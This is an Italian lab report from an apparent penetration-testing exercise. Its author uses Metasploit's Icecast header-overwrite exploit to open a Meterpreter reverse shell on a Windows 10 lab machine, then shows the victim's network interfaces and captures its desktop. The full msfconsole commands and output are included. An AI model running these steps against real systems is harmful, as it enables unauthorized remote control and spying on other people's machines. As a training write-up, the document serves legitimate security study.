Relazione 19-12

L'obiettivo di questo esercizio è ottenere una sessione Meterpreter su una macchina Windows 10 sfruttando una vulnerabilità presente nel software Icecast utilizzando il framework Metasploit. Successivamente, tramite la sessione Meterpreter, si richiede di:

1. Visualizzare l'indirizzo IP della vittima.
2. Catturare uno screenshot del sistema compromesso.

Per prima cosa ho avviato la metasploit con il comando msfconsole

Con il comando search icecast ho fatto la ricerca del modulo e l'ho caricato con il comando use exploit/windows/http/icecast_header

Con options ho visto i dati mancanti e ho impostato con set Rhosts l'IP della macchina target e ho avviato l'exploit con run.

```
msf6 > search icecast

Matching Modules
================

   #  Name                                Disclosure Date  Rank   Check  Description
   -  ----                                ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use exploit/windows/http/icecast_header
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
                                      sics/using-metasploit.html
   RPORT   8000             yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

```
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] Sending stage (177734 bytes) to 192.168.1.26
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.26:49450) at 2024-12-20 06:32:32 -0500

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface  3
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:5e:06:17
MTU          : 1500
IPv4 Address : 192.168.1.26
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::955d:71d4:8263:b3
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  5
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:11a
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

meterpreter > screenshot
Screenshot saved to: /home/kali/XwVTWKjB.jpeg
```

Con ipconfig visualizzo l'indirizzo IP e con sreenshot catturo l’immagine del desktop della macchina target.